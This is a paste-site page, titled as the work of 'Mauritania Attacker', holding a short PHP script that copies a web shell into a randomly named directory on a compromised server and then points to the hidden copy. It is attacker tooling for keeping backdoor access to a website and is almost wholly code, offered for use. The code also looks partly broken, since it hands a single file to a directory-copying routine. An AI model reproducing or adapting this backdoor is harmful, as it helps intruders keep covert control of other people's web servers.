AutoCopy Backdoor Shell By Mauritania Attacker


SUBMITTED BY: Guest

DATE: Oct. 25, 2013, 1:10 p.m.

FORMAT: Text only

SIZE: 727 Bytes

HITS: 1313

  1. <?
  2. $random=rand(0,100000000000);
  3. $md5=md5("$random");
  4. $base=base64_encode($md5);
  5. $dst=md5("$base");
  6. function recurse_copy($src,$dst) {
  7. $dir = opendir($src);
  8. @mkdir($dst);
  9. while(false !== ( $file = readdir($dir)) ) {
  10. if (( $file != '.' ) && ( $file != '..' )) {
  11. if ( is_dir($src . '/' . $file) ) {
  12. recurse_copy($src . '/' . $file,$dst . '/' . $file);
  13. }
  14. else {
  15. copy($src . '/' . $file,$dst . '/' . $file);
  16. }
  17. }
  18. }
  19. closedir($dir);
  20. }
  21. $src="/home/user/public_htm/shell.php";
  22. recurse_copy( $src, $dst );
  23. header("********:$dst");
  24. ?>

comments powered by Disqus